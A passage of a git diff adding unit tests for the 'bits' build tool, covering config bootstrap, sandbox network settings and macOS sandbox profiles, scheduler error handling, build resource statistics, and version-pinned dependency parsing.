"1", + "tag": "main", + "provides_repository": True, + "source": "https://github.com/bitsorg/alice.bits", + }), + {}, + ) + # First call (bits-providers) succeeds; second (default config) fails + mock_clone.side_effect = [ + (providers_checkout, "abc123"), + SystemExit(1), + ] + result = bootstrap_default_config(self._make_args(), "/work") + self.assertIsNone(result) + + # ── Organisation-aware lookup ────────────────────────────────────────── + + @patch("bits_helpers.repo_provider.info") + @patch("bits_helpers.repo_provider.clone_or_update_provider") + @patch("bits_helpers.repo_provider.parseRecipe") + @patch("bits_helpers.repo_provider.getRecipeReader") + @patch("bits_helpers.repo_provider.exists") + def test_organisation_recipe_preferred_over_default( + self, mock_exists, mock_reader, mock_parse, mock_clone, _info, + ): + """Organisation stored uppercase (LHCB) → resolves to lhcb.bits.sh (lowercase).""" + providers_checkout = "/work/REPOS/bits-providers/abc1234567" + config_checkout = "/work/REPOS/lhcb.bits/def4567890" + + # Only lhcb.bits.sh (lowercase) exists — default.bits.sh is absent. + # args.organisation is uppercase "LHCB" as stored in bits.rc. + mock_exists.side_effect = lambda p: p.endswith("lhcb.bits.sh") + mock_reader.return_value = "reader" + mock_parse.return_value = ( + None, + OrderedDict({ + "package": "lhcb.bits", + "version": "1", + "tag": "main", + "provides_repository": True, + "source": "https://github.com/bitsorg/lhcb.bits", + }), + {}, + ) + mock_clone.side_effect = self._make_clone_side_effect( + providers_checkout, config_checkout, + ) + + # Pass uppercase "LHCB" — the same value bits.rc stores + result = bootstrap_default_config( + self._make_args(organisation="LHCB"), "/work", + ) + + self.assertEqual(result, config_checkout) + # Verify the reader was called with the lowercased lhcb path + reader_path = mock_reader.call_args[0][0] + self.assertIn("lhcb.bits.sh", reader_path) + self.assertNotIn("default.bits.sh", reader_path) + + @patch("bits_helpers.repo_provider.info") + @patch("bits_helpers.repo_provider.clone_or_update_provider") + @patch("bits_helpers.repo_provider.parseRecipe") + @patch("bits_helpers.repo_provider.getRecipeReader") + @patch("bits_helpers.repo_provider.exists") + def test_organisation_falls_back_to_default_sh_when_org_sh_absent( + self, mock_exists, mock_reader, mock_parse, mock_clone, _info, + ): + """When .bits.sh is absent, bootstrap falls back to default.bits.sh.""" + providers_checkout = "/work/REPOS/bits-providers/abc1234567" + config_checkout = "/work/REPOS/default.bits/def4567890" + + # LHCB.bits.sh / lhcb.bits.sh absent, default.bits.sh present + mock_exists.side_effect = lambda p: p.endswith("default.bits.sh") + mock_reader.return_value = "reader" + mock_parse.return_value = ( + None, + OrderedDict({ + "package": "default.bits", + "version": "1", + "tag": "main", + "provides_repository": True, + "source": "https://github.com/bitsorg/alice.bits", + }), + {}, + ) + mock_clone.side_effect = self._make_clone_side_effect( + providers_checkout, config_checkout, + ) + + # Pass uppercase "LHCB" — fallback must still find default.bits.sh + result = bootstrap_default_config( + self._make_args(organisation="LHCB"), "/work", + ) + + self.assertEqual(result, config_checkout) + reader_path = mock_reader.call_args[0][0] + self.assertIn("default.bits.sh", reader_path) + + @patch("bits_helpers.repo_provider.info") + @patch("bits_helpers.repo_provider.clone_or_update_provider") + @patch("bits_helpers.repo_provider.exists", return_value=False) + def test_organisation_returns_none_when_neither_sh_found( + self, _exists, mock_clone, _info, + ): + """When both .bits.sh and default.bits.sh are absent, returns None.""" + providers_checkout = "/work/REPOS/bits-providers/abc1234567" + mock_clone.return_value = (providers_checkout, "abc123") + + result = bootstrap_default_config( + self._make_args(organisation="LHCB"), "/work", + ) + self.assertIsNone(result) + self.assertEqual(mock_clone.call_count, 1) # only bits-providers was cloned + + +# ╔══════════════════════════════════════════════════════════════════════════╗ +# ║ 7. storeHashes – provider hash folded in ║ # ╚══════════════════════════════════════════════════════════════════════════╝ class TestStoreHashesProviderHash(unittest.TestCase): diff --git a/tests/test_sandbox.py b/tests/test_sandbox.py index 16b48994..6529db1a 100644 --- a/tests/test_sandbox.py +++ b/tests/test_sandbox.py @@ -24,16 +24,23 @@ # Helpers # --------------------------------------------------------------------------- -def _opts(sandbox="auto", sandbox_image=None): +def _opts(sandbox="auto", sandbox_image=None, sandbox_network="on"): """Return a minimal argparse-like namespace.""" ns = types.SimpleNamespace() ns.sandbox = sandbox ns.sandboxImage = sandbox_image + ns.sandboxNetwork = sandbox_network return ns -def _spec(pkg="TestPkg", sandbox_network="on"): - return {"package": pkg, "sandbox_network": sandbox_network} +_UNSET = object() + + +def _spec(pkg="TestPkg", sandbox_network=_UNSET): + spec = {"package": pkg} + if sandbox_network is not _UNSET: + spec["sandbox_network"] = sandbox_network + return spec LOCAL_CMD = "env FOO=bar bash -e -x /sw/slc8_x86-64/TestPkg/build.sh 2>&1" @@ -162,16 +169,19 @@ def test_explicit_sandbox_exec_linux_raises(self): with self.assertRaises(ValueError): resolve_sandbox_mode("sandbox-exec", False) - # auto, no docker, Linux + # auto, no docker, Linux: sandboxing is off and podman is NOT probed. + # podman is only used inside --docker or when explicitly requested. @patch("sys.platform", "linux") @patch("bits_helpers.sandbox.podman_available", return_value=True) - def test_auto_linux_podman_available(self, _p): - self.assertEqual("podman", resolve_sandbox_mode("auto", False)) + def test_auto_linux_no_docker_is_off(self, _p): + self.assertEqual("off", resolve_sandbox_mode("auto", False)) + _p.assert_not_called() @patch("sys.platform", "linux") @patch("bits_helpers.sandbox.podman_available", return_value=False) - def test_auto_linux_no_podman(self, _p): + def test_auto_linux_no_docker_off_without_probe(self, _p): self.assertEqual("off", resolve_sandbox_mode("auto", False)) + _p.assert_not_called() # auto, no docker, macOS @patch("sys.platform", "darwin") @@ -235,14 +245,36 @@ def test_network_allowed_when_off(self, _r): self.assertNotIn("--network=none", result) self.assertIn("podman run", result) + @patch("bits_helpers.sandbox.warning") @patch("bits_helpers.sandbox.resolve_sandbox_mode", return_value="podman") - def test_no_image_returns_unchanged(self, _r): - """Without an image, sandbox falls back gracefully.""" + def test_no_image_explicit_podman_warns(self, _r, mock_warn): + """--sandbox=podman with no image emits a warning and returns unchanged.""" result = wrap_build_command( LOCAL_CMD, _spec(), _opts(sandbox="podman", sandbox_image=None), workdir="/sw", ) self.assertEqual(result, LOCAL_CMD) + self.assertTrue(mock_warn.called, "expected a warning for explicit podman + no image") + + @patch("bits_helpers.sandbox.warning") + @patch("bits_helpers.sandbox.resolve_sandbox_mode", return_value="podman") + def test_no_image_auto_mode_silent(self, _r, mock_warn): + """sandbox=auto with no image falls back silently (no console warning).""" + result = wrap_build_command( + LOCAL_CMD, _spec(), _opts(sandbox="auto", sandbox_image=None), + workdir="/sw", + ) + self.assertEqual(result, LOCAL_CMD) + self.assertFalse(mock_warn.called, "auto-detected podman with no image must not warn") + + @patch("bits_helpers.sandbox.resolve_sandbox_mode", return_value="podman") + def test_no_image_returns_unchanged(self, _r): + """Without an image, sandbox falls back gracefully (legacy compat check).""" + result = wrap_build_command( + LOCAL_CMD, _spec(), _opts(sandbox="auto", sandbox_image=None), + workdir="/sw", + ) + self.assertEqual(result, LOCAL_CMD) @patch("bits_helpers.sandbox.resolve_sandbox_mode", return_value="podman") def test_build_cmd_quoted_as_shell_arg(self, _r): @@ -360,6 +392,57 @@ def test_profile_receives_allow_network_true_when_off(self, mock_profile, _r): ) mock_profile.assert_called_once_with(True, "/sw") + @patch("bits_helpers.sandbox.resolve_sandbox_mode", return_value="sandbox-exec") + @patch("bits_helpers.sandbox.make_sbpl_profile", return_value="/tmp/p.sb") + def test_yaml_boolean_off_enables_network(self, mock_profile, _r): + # Regression: YAML SafeLoader parses bare `sandbox_network: off` as the + # Python bool False (not the string "off"). It must still enable network. + wrap_build_command( + LOCAL_CMD, _spec(sandbox_network=False), _opts(sandbox="sandbox-exec"), + workdir="/sw", + ) + mock_profile.assert_called_once_with(True, "/sw") + + @patch("bits_helpers.sandbox.resolve_sandbox_mode", return_value="sandbox-exec") + @patch("bits_helpers.sandbox.make_sbpl_profile", return_value="/tmp/p.sb") + def test_yaml_boolean_on_blocks_network(self, mock_profile, _r): + # `sandbox_network: on` -> Python bool True -> network blocked. + wrap_build_command( + LOCAL_CMD, _spec(sandbox_network=True), _opts(sandbox="sandbox-exec"), + workdir="/sw", + ) + mock_profile.assert_called_once_with(False, "/sw") + + @patch("bits_helpers.sandbox.resolve_sandbox_mode", return_value="sandbox-exec") + @patch("bits_helpers.sandbox.make_sbpl_profile", return_value="/tmp/p.sb") + def test_global_default_off_allows_when_recipe_silent(self, mock_profile, _r): + # No per-recipe field -> fall back to global --sandbox-network/bits.rc. + wrap_build_command( + LOCAL_CMD, _spec(), _opts(sandbox="sandbox-exec", sandbox_network="off"), + workdir="/sw", + ) + mock_profile.assert_called_once_with(True, "/sw") + + @patch("bits_helpers.sandbox.resolve_sandbox_mode", return_value="sandbox-exec") + @patch("bits_helpers.sandbox.make_sbpl_profile", return_value="/tmp/p.sb") + def test_recipe_field_overrides_global_default(self, mock_profile, _r): + # Global default off, but recipe explicitly asks for network blocked. + wrap_build_command( + LOCAL_CMD, _spec(sandbox_network="on"), + _opts(sandbox="sandbox-exec", sandbox_network="off"), + workdir="/sw", + ) + mock_profile.assert_called_once_with(False, "/sw") + + @patch("bits_helpers.sandbox.resolve_sandbox_mode", return_value="sandbox-exec") + @patch("bits_helpers.sandbox.make_sbpl_profile", return_value="/tmp/p.sb") + def test_global_default_on_blocks_when_recipe_silent(self, mock_profile, _r): + wrap_build_command( + LOCAL_CMD, _spec(), _opts(sandbox="sandbox-exec", sandbox_network="on"), + workdir="/sw", + ) + mock_profile.assert_called_once_with(False, "/sw") + # --------------------------------------------------------------------------- # make_sbpl_profile @@ -388,6 +471,41 @@ def test_network_rule_present_when_allowed(self): finally: os.unlink(path) + def test_canonical_temp_dirs_writable(self): + # Regression: macOS resolves /tmp -> /private/tmp and + # /var/folders -> /private/var/folders, and SBPL subpath matching uses + # the resolved path. Without the /private/... rules the compiler's own + # $TMPDIR temp files are denied ("C compiler cannot create executables"). + path = make_sbpl_profile(allow_network=False, builddir="/sw") + try: + with open(path) as fh: + content = fh.read() + for sub in ('(subpath "/private/tmp")', + '(subpath "/private/var/folders")', + '(subpath "/private/var/tmp")'): + self.assertIn(sub, content) + finally: + os.unlink(path) + + def test_standard_char_devices_writable(self): + # Regression: /dev/null is outside every allowed write subpath, so + # without an explicit allow the default-deny breaks `> /dev/null` and + # thus essentially every autotools configure on macOS. + path = make_sbpl_profile(allow_network=False, builddir="/sw") + try: + with open(path) as fh: + content = fh.read() + for dev in ('"/dev/null"', '"/dev/zero"', '"/dev/urandom"', + '"/dev/tty"', '"/dev/ptmx"'): + self.assertIn(dev, content) + self.assertIn('(subpath "/dev/fd")', content) + # Raw disk devices must stay denied: no rule should reference them + # as a quoted SBPL pattern (the explanatory comment may mention them). + self.assertNotIn('"/dev/disk', content) + self.assertNotIn('"/dev/rdisk', content) + finally: + os.unlink(path) + if __name__ == "__main__": unittest.main() diff --git a/tests/test_scheduler.py b/tests/test_scheduler.py index bf35d475..f271292d 100644 --- a/tests/test_scheduler.py +++ b/tests/test_scheduler.py @@ -15,6 +15,10 @@ def errorTask(): def exceptionTask(): raise Exception("foo") +def systemExitTask(): + # Mimics a build task that calls dieOnError(), which raises SystemExit. + raise SystemExit(1) + # Mimics workflow. def scheduleMore(scheduler): scheduler.parallel("download", [], "build",dummyTask) @@ -66,6 +70,28 @@ def test_resource_monitor(): assert(len(scheduler.resourceManager.allocated)==0) return +def test_systemexit_task_does_not_hang(): + """A task that raises SystemExit (e.g. via dieOnError) must be reported as a + broken job and must NOT hang the scheduler. + + Regression test: previously the worker's ``except Exception`` did not catch + SystemExit, so the worker thread died without reporting status, the job was + stuck in runningJobs forever, and scheduler.run() never returned (the build + hung at the end with no summary). + """ + import threading + scheduler = Scheduler(2, parallelDownloads=0) + scheduler.parallel("build:ok", [], "build", dummyTask) + scheduler.parallel("build:dies", [], "build", systemExitTask) + t = threading.Thread(target=scheduler.run, daemon=True) + t.start() + t.join(timeout=15) + assert not t.is_alive(), "scheduler.run() hung on a SystemExit-raising task" + assert "build:dies" in scheduler.brokenJobs + assert "build:ok" in scheduler.doneJobs + assert scheduler.errors.get("build:dies") + + if __name__ == "__main__": scheduler = Scheduler(10) scheduler.run() diff --git a/tests/test_stats.py b/tests/test_stats.py new file mode 100644 index 00000000..de7f0491 --- /dev/null +++ b/tests/test_stats.py @@ -0,0 +1,147 @@ +"""Tests for the `bits stats` resource report (bits_helpers/stats.py).""" + +import json +import os +import sys +import tempfile +import shutil +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from bits_helpers import stats + +GB = 1024 ** 3 + + +class FormattingTest(unittest.TestCase): + def test_human_bytes(self): + self.assertEqual(stats.human_bytes(0), "0 B") + self.assertEqual(stats.human_bytes(512), "512 B") + self.assertEqual(stats.human_bytes(1536), "1.5 KiB") + self.assertEqual(stats.human_bytes(int(6.2 * GB)), "6.2 GiB") + + def test_human_time(self): + self.assertEqual(stats.human_time(8), "8s") + self.assertEqual(stats.human_time(125), "2m05s") + self.assertEqual(stats.human_time(3661), "1h01m01s") + + def test_cores(self): + self.assertAlmostEqual(stats.cores(760), 7.6) + + +class TraceMetricsTest(unittest.TestCase): + def setUp(self): + self.d = tempfile.mkdtemp() + + def tearDown(self): + shutil.rmtree(self.d, ignore_errors=True) + + def _trace(self, samples): + p = os.path.join(self.d, "t.json") + json.dump(samples, open(p, "w")) + return p + + def test_peaks_and_average(self): + # constant 200% cpu (2 cores) for 10s, rss climbing to 1 GiB + samples = [{"time": t, "cpu": 200, "rss": int(t / 10 * GB), "num_threads": t} + for t in range(0, 11)] + m = stats.trace_metrics(self._trace(samples)) + self.assertEqual(m["peak_cpu"], 200) + self.assertEqual(m["peak_rss"], GB) + self.assertEqual(m["peak_threads"], 10) + self.assertAlmostEqual(m["avg_cpu"], 200.0, places=1) + self.assertEqual(m["duration"], 10) + + def test_mem_per_thread(self): + # 4 GiB across 8 threads -> 0.5 GiB/thread (worst-case per sample) + samples = [{"time": t, "cpu": 800, "rss": 4 * GB, "num_threads": 8} + for t in range(0, 5)] + m = stats.trace_metrics(self._trace(samples)) + self.assertEqual(m["mem_per_thread"], GB // 2) + + def test_empty_or_bad(self): + self.assertIsNone(stats.trace_metrics(self._trace([]))) + bad = os.path.join(self.d, "bad.json"); open(bad, "w").write("not json") + self.assertIsNone(stats.trace_metrics(bad)) + + +class FlagsTest(unittest.TestCase): + RES = {"cpu": 800, "rss": 16 * GB} + + def test_underthreaded_fires(self): + m = [{"package": "Gaudi", "peak_rss": GB, "peak_cpu": 110, + "time": 600, "avg_cpu": 100, "cpu_seconds": 600, "peak_threads": 3}] + f = stats.flags(self.RES, m) + self.assertTrue(any("j$JOBS" in msg for _, _, msg in f)) + + def test_underthreaded_not_fired_when_fast(self): + # short build -> not flagged even if single-threaded + m = [{"package": "zlib", "peak_rss": GB, "peak_cpu": 90, + "time": 8, "avg_cpu": 90, "cpu_seconds": 7, "peak_threads": 1}] + self.assertEqual(stats.flags(self.RES, m), []) + + def test_underthreaded_not_fired_when_parallel(self): + # long build but using many cores -> fine + m = [{"package": "ROOT", "peak_rss": GB, "peak_cpu": 760, + "time": 1800, "avg_cpu": 600, "cpu_seconds": 1080000, "peak_threads": 8}] + f = stats.flags(self.RES, m) + self.assertFalse(any("j$JOBS" in msg for _, _, msg in f)) + + def test_oom_risk_fires(self): + m = [{"package": "big", "peak_rss": int(9 * GB), "peak_cpu": 800, + "time": 600, "avg_cpu": 700, "cpu_seconds": 1, "peak_threads": 8}] + f = stats.flags(self.RES, m) + self.assertTrue(any("mem_per_job" in msg for _, _, msg in f)) + + def test_no_flags_when_modest(self): + m = [{"package": "ok", "peak_rss": int(2 * GB), "peak_cpu": 700, + "time": 600, "avg_cpu": 650, "cpu_seconds": 1, "peak_threads": 8}] + self.assertEqual(stats.flags(self.RES, m), []) + + +class CollectAndRenderTest(unittest.TestCase): + def setUp(self): + self.d = tempfile.mkdtemp() + json.dump({ + "resources": {"cpu": 800, "rss": 16 * GB}, + "packages": {"build": { + "ROOT": {"cpu": 760, "rss": int(6.2 * GB), "time": 1850}, + "Gaudi": {"cpu": 110, "rss": GB, "time": 420}, + }}, + }, open(os.path.join(self.d, "bits_build_stats.json"), "w")) + sd = os.path.join(self.d, "SPECS", "arch", "Gaudi", "v-1") + os.makedirs(sd) + json.dump([{"time": t, "cpu": 100, "rss": GB, "num_threads": 3} + for t in range(0, 420, 5)], + open(os.path.join(sd, "Gaudi.json"), "w")) + + def tearDown(self): + shutil.rmtree(self.d, ignore_errors=True) + + def test_collect_merges_trace(self): + res, metrics = stats.collect(self.d) + self.assertEqual(res["rss"], 16 * GB) + gaudi = [m for m in metrics if m["package"] == "Gaudi"][0] + self.assertIsNotNone(gaudi["avg_cpu"]) # came from the trace + self.assertEqual(gaudi["peak_threads"], 3) + self.assertEqual(gaudi["mem_per_thread"], GB // 3) # 1 GiB / 3 threads + root = [m for m in metrics if m["package"] == "ROOT"][0] + self.assertIsNone(root["avg_cpu"]) # no trace + + def test_render_text_has_sections_and_flag(self): + res, metrics = stats.collect(self.d) + out = stats.render_text(res, metrics, top=10, sort_key="time") + self.assertIn("Build resource summary", out) + self.assertIn("Top", out) + self.assertIn("Gaudi", out) + self.assertIn("MEM/THR", out) # memory-per-thread column present + self.assertIn("j$JOBS", out) # under-threaded flag for Gaudi + + def test_missing_stats_returns_empty(self): + res, metrics = stats.collect(tempfile.mkdtemp()) + self.assertEqual(metrics, []) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_utilities.py b/tests/test_utilities.py index 2da6d0f5..a7177eee 100644 --- a/tests/test_utilities.py +++ b/tests/test_utilities.py @@ -4,12 +4,17 @@ from unittest.mock import patch from bits_helpers.utilities import doDetectArch, filterByArchitectureDefaults, disabledByArchitectureDefaults +from bits_helpers.utilities import resolve_variables, predefined_arch_vars from bits_helpers.utilities import Hasher from bits_helpers.utilities import asList from bits_helpers.utilities import prunePaths -from bits_helpers.utilities import resolve_version +from bits_helpers.utilities import resolve_version, resolve_spec_data from bits_helpers.utilities import topological_sort from bits_helpers.utilities import resolveFilename, resolveDefaultsFilename +from bits_helpers.utilities import _parse_req_matcher, _collect_version_pins +from bits_helpers.utilities import asDict, merge_dicts +from bits_helpers.utilities import _version_compare, _parse_patch_entry, filterPatches, _matcher_active +from collections import OrderedDict import bits_helpers import bits_helpers.log import os @@ -274,6 +279,24 @@ def test_filterByArchitecture(self) -> None: self.assertEqual([], list(filterByArchitectureDefaults("osx_x86-64", "ali", []))) self.assertEqual(["GCC"], list(filterByArchitectureDefaults("osx_x86-64", "ali", ["AliRoot:slc6", "GCC:defaults=ali"]))) self.assertEqual([], list(filterByArchitectureDefaults("osx_x86-64", "o2", ["AliRoot:slc6", "GCC:defaults=ali"]))) + # Version-pinned entries: filter still yields the plain name + self.assertEqual(["root"], list(filterByArchitectureDefaults("slc8_x86-64", "release", ["root = 6.24.02"]))) + self.assertEqual([], list(filterByArchitectureDefaults("osx_arm64", "release", ["root = 6.24.02:(?!osx)"]))) + self.assertEqual(["root"], list(filterByArchitectureDefaults("slc8_x86-64", "release", ["root = 6.24.02:(?!osx)"]))) + # Version-gated requires keyed on the depending package's own version: + # the 5th positional arg is the owner version (sort -V comparison). + reqs = ["CMake", "curl:version>=v6.40.00"] + self.assertEqual(["CMake", "curl"], + list(filterByArchitectureDefaults("osx_arm64", "release", reqs, None, "v6.40.00"))) + self.assertEqual(["CMake"], + list(filterByArchitectureDefaults("osx_arm64", "release", reqs, None, "v6.38.00"))) + self.assertEqual(["CMake", "curl"], + list(filterByArchitectureDefaults("osx_arm64", "release", reqs, None, "v6.42.00"))) + # Combined arch + version atom: curl only on non-osx AND >= 6.40. + reqs2 = ["curl:(?!osx) && version>=v6.40.00"] + self.assertEqual(["curl"], list(filterByArchitectureDefaults("slc9_x86-64", "release", reqs2, None, "v6.40.00"))) + self.assertEqual([], list(filterByArchitectureDefaults("osx_arm64", "release", reqs2, None, "v6.40.00"))) + self.assertEqual([], list(filterByArchitectureDefaults("slc9_x86-64", "release", reqs2, None, "v6.38.00"))) def test_disabledByArchitecture(self) -> None: self.assertEqual([], list(disabledByArchitectureDefaults("osx_x86-64", "ali", ["AliRoot"]))) @@ -284,6 +307,148 @@ def test_disabledByArchitecture(self) -> None: self.assertEqual([], list(disabledByArchitectureDefaults("osx_x86-64", "ali", []))) self.assertEqual(["AliRoot"], list(disabledByArchitectureDefaults("osx_x86-64", "ali", ["AliRoot:slc6", "GCC:defaults=ali"]))) self.assertEqual(["AliRoot", "GCC"], list(disabledByArchitectureDefaults("osx_x86-64", "o2", ["AliRoot:slc6", "GCC:defaults=ali"]))) + # Version-pinned entries are disabled according to the matcher, not the pin + self.assertEqual(["root"], list(disabledByArchitectureDefaults("osx_arm64", "release", ["root = 6.24.02:(?!osx)"]))) + + def test_variable_conditional_requires(self) -> None: + """`dep:(?VAR)` is active iff defaults variable VAR is truthy.""" + arch = "ubuntu2510_x86-64-gcc15-dbg" + # Active when the variable is truthy ... + self.assertEqual(["cuda"], list(filterByArchitectureDefaults( + arch, ["dev4", "cuda"], ["cuda:(?cuda)"], {"cuda": "true"}))) + self.assertEqual([], list(disabledByArchitectureDefaults( + arch, ["dev4", "cuda"], ["cuda:(?cuda)"], {"cuda": "true"}))) + # ... and disabled when unset or false-ish ... + for vars_ in (None, {}, {"cuda": "false"}, {"cuda": "off"}, {"cuda": "0"}, {"cuda": ""}): + self.assertEqual([], list(filterByArchitectureDefaults( + arch, ["dev4"], ["cuda:(?cuda)"], vars_)), vars_) + self.assertEqual(["cuda"], list(disabledByArchitectureDefaults( + arch, ["dev4"], ["cuda:(?cuda)"], vars_)), vars_) + # A variable matcher must not be confused with a real arch regex like (?!osx) + self.assertEqual([], list(filterByArchitectureDefaults( + "osx_arm64", ["dev4"], ["GCC:(?!osx)"], {"cuda": "true"}))) + self.assertEqual(["GCC"], list(filterByArchitectureDefaults( + arch, ["dev4"], ["GCC:(?!osx)"], {"cuda": "true"}))) + + def test_predefined_arch_vars(self) -> None: + """Only the truthy platform variables are exposed, so (?osx) is false off mac.""" + self.assertEqual({"osx": "true", "arm64": "true", "aarch64": "true"}, + predefined_arch_vars("osx_arm64")) + v = predefined_arch_vars("ubuntu2510_x86-64-gcc15") + self.assertEqual("true", v.get("linux")) + self.assertEqual("true", v.get("x86_64")) + self.assertNotIn("osx", v) + self.assertNotIn("arm64", v) + + def test_resolve_variables(self) -> None: + """Gated `variables:` entries resolve against flavours / predefined / earlier vars.""" + linux = "ubuntu2510_x86-64-gcc15" + osx = "osx_arm64" + # Plain entries pass through; predefined arch vars are seeded. + r = resolve_variables({"cxxstd": "20"}, {}, linux, ["dev4"]) + self.assertEqual("20", r["cxxstd"]) + self.assertEqual("true", r["linux"]) + self.assertNotIn("osx", r) + # Gated on a CLI flavour: defined only when the flavour is set. + vblock = {"heavygen": {"value": "yes", "when": "(?openloops)"}} + self.assertNotIn("heavygen", resolve_variables(vblock, {}, linux, ["dev4"])) + self.assertEqual("yes", resolve_variables( + vblock, {"openloops": "true"}, linux, ["dev4"])["heavygen"]) + # Gated on flavour AND not-osx (arch regex): off on mac even with the flavour. + g = {"heavygen": {"value": True, "when": "(?openloops) && (?!osx)"}} + self.assertIn("heavygen", resolve_variables(g, {"openloops": "1"}, linux, ["dev4"])) + self.assertNotIn("heavygen", resolve_variables(g, {"openloops": "1"}, osx, ["dev4"])) + # Gated on a predefined arch var directly: (?osx) true on mac only. + o = {"macflag": {"value": True, "when": "(?osx)"}} + self.assertIn("macflag", resolve_variables(o, {}, osx, ["dev4"])) + self.assertNotIn("macflag", resolve_variables(o, {}, linux, ["dev4"])) + # Chained: a later entry gated on an earlier (previously defined) variable. + chain = OrderedDict([ + ("base", {"value": True, "when": "(?openloops)"}), + ("derived", {"value": True, "when": "(?base)"}), + ]) + self.assertIn("derived", resolve_variables(chain, {"openloops": "1"}, linux, ["dev4"])) + self.assertNotIn("derived", resolve_variables(chain, {}, linux, ["dev4"])) + # A CLI flavour overrides a defaults entry of the same name. + self.assertEqual("cli", resolve_variables( + {"x": "file"}, {"x": "cli"}, linux, ["dev4"])["x"]) + # The resolved variables then drive package gating end to end. + rv = resolve_variables({"heavygen": {"value": True, "when": "(?openloops) && (?!osx)"}}, + {"openloops": "1"}, linux, ["dev4"]) + self.assertEqual(["herwig3"], list(filterByArchitectureDefaults( + linux, ["dev4"], ["herwig3:(?heavygen)"], rv))) + + def test_parse_req_matcher(self) -> None: + """_parse_req_matcher should correctly parse all requirement syntax variants.""" + # Plain name + self.assertEqual(("AliRoot", ".*", None), _parse_req_matcher("AliRoot")) + # Arch-conditional + self.assertEqual(("AliRoot", "(?!osx)", None), _parse_req_matcher("AliRoot:(?!osx)")) + # defaults= conditional + self.assertEqual(("GCC", "defaults=ali", None), _parse_req_matcher("GCC:defaults=ali")) + # Version pin, no matcher + self.assertEqual(("root", ".*", "6.24.02"), _parse_req_matcher("root = 6.24.02")) + self.assertEqual(("root", ".*", "6.24.02"), _parse_req_matcher("root=6.24.02")) + self.assertEqual(("root", ".*", "master"), _parse_req_matcher("root = master")) + # Version pin with spaces around = + self.assertEqual(("my-provider", ".*", "feature-xyz"), _parse_req_matcher("my-provider = feature-xyz")) + # Version pin + arch matcher + self.assertEqual(("root", "(?!osx)", "6.24.02"), _parse_req_matcher("root = 6.24.02:(?!osx)")) + # Version pin + defaults= matcher + self.assertEqual(("boost", "defaults=o2", "1.80.0"), _parse_req_matcher("boost = 1.80.0:defaults=o2")) + + def test_collect_version_pins_basic(self) -> None: + """_collect_version_pins registers active pins and ignores inactive ones.""" + pins = {} + _collect_version_pins("slc8_x86-64", "release", + ["root = 6.24.02", "hepmc3", "boost = 1.82.0:(?!osx)"], + "mypackage", pins, {}) + self.assertEqual({"root": "6.24.02", "boost": "1.82.0"}, pins) + + def test_collect_version_pins_arch_inactive(self) -> None: + """A pin whose matcher does not match the current arch is ignored.""" + pins = {} + _collect_version_pins("osx_arm64", "release", + ["boost = 1.82.0:(?!osx)"], + "mypackage", pins, {}) + self.assertEqual({}, pins) + + def test_collect_version_pins_same_version_two_owners(self) -> None: + """Two packages pinning the same dep to the same version is not an error.""" + pins = {"root": "6.24.02"} + # Should not raise + _collect_version_pins("slc8_x86-64", "release", + ["root = 6.24.02"], + "other-package", pins, {}) + self.assertEqual({"root": "6.24.02"}, pins) + + def test_collect_version_pins_conflict_raises(self) -> None: + """Two different version pins for the same dep must raise a fatal error.""" + pins = {"root": "6.24.02"} + with self.assertRaises(SystemExit): + _collect_version_pins("slc8_x86-64", "release", + ["root = 6.32.06"], + "other-package", pins, {}) + + def test_collect_version_pins_already_resolved_same_version(self) -> None: + """A pin for an already-resolved dep at the same version is silently accepted.""" + from collections import OrderedDict + specs = {"root": {"version": "6.24.02"}} + pins = {} + _collect_version_pins("slc8_x86-64", "release", + ["root = 6.24.02"], + "mypackage", pins, specs) + # No pin registered (already resolved correctly); no error raised + self.assertEqual({}, pins) + + def test_collect_version_pins_already_resolved_conflict_raises(self) -> None: + """A pin for a dep resolved at a *different* version must raise a fatal error.""" + specs = {"root": {"version": "6.32.06"}} + pins = {} + with self.assertRaises(SystemExit): + _collect_version_pins("slc8_x86-64", "release", + ["root = 6.24.02"], + "mypackage", pins, specs) def test_prunePaths(self) -> None: fake_env = { @@ -397,5 +562,273 @@ def test_independent_packages(self) -> None: self.assertEqual({"A", "B", "C"}, set(result)) self.assertEqual(3, len(result)) + +class TestResolveSpecDataVariables(unittest.TestCase): + """Defaults-profile variables + soft expansion (PR #97, softer variant).""" + + def _spec(self, variables=None): + return {"package": "foo", "commit_hash": "abc1234567", "tag": "v1", + "version": "1.0", "variables": variables or {}} + + def test_default_var_available(self): + out = resolve_spec_data(self._spec(), "%(base)s/x", ["release"], + default_vars={"base": "http://h"}, strict=False) + self.assertEqual(out, "http://h/x") + + def test_recipe_var_overrides_default(self): + out = resolve_spec_data(self._spec({"v": "recipe"}), "%(v)s", ["release"], + default_vars={"v": "defaults"}, strict=True) + self.assertEqual(out, "recipe") + + def test_soft_leaves_unknown_and_shell_percent_untouched(self): + # %(base)s/%(name)s substitute; %(unknown)s, %%, and ${X%suffix} stay put, + # and nothing raises (the soft path never does raw %-formatting). + data = "u=%(base)s/%(name)s pct=100%% keep=${X%suffix} miss=%(unknown)s" + out = resolve_spec_data(self._spec(), data, ["release"], + default_vars={"base": "http://h"}, strict=False) + self.assertEqual(out, "u=http://h/foo pct=100%% keep=${X%suffix} miss=%(unknown)s") + + def test_soft_indirect_nesting(self): + out = resolve_spec_data(self._spec(), "%(%(v1)s_key)s", ["release"], + default_vars={"v1": "foo", "foo_key": "bar"}, strict=False) + self.assertEqual(out, "bar") + + def test_strict_unknown_is_fatal(self): + with patch("bits_helpers.utilities.dieOnError") as die: + resolve_spec_data(self._spec(), "%(nope)s", ["release"], strict=True) + self.assertTrue(die.called) + self.assertIs(die.call_args[0][0], True) # dieOnError(True, ...) + + def test_strict_indirect_double_percent_still_works(self): + spec = self._spec({"v1": "foo", "foo_key": "bar"}) + out = resolve_spec_data(spec, "%%(%(v1)s_key)s", ["release"], strict=True) + self.assertEqual(out, "bar") + + +class AsDictTest(unittest.TestCase): + """overrides: collapsing, including the 'name = value' pin shorthand.""" + + def test_string_pin_shorthand(self): + # A list of "name = value" strings (same syntax as requires: pins) must + # produce per-package {version, tag} overrides, not be silently dropped. + out = asDict(["acts = 44.4.0", "k4actstracking = v00-02"]) + self.assertEqual(dict(out["acts"]), {"version": "44.4.0", "tag": "44.4.0"}) + self.assertEqual(dict(out["k4actstracking"]), {"version": "v00-02", "tag": "v00-02"}) + + def test_dict_form_preserved(self): + out = asDict([{"GCC-Toolchain": {"source": "x", "tag": "v1"}}]) + 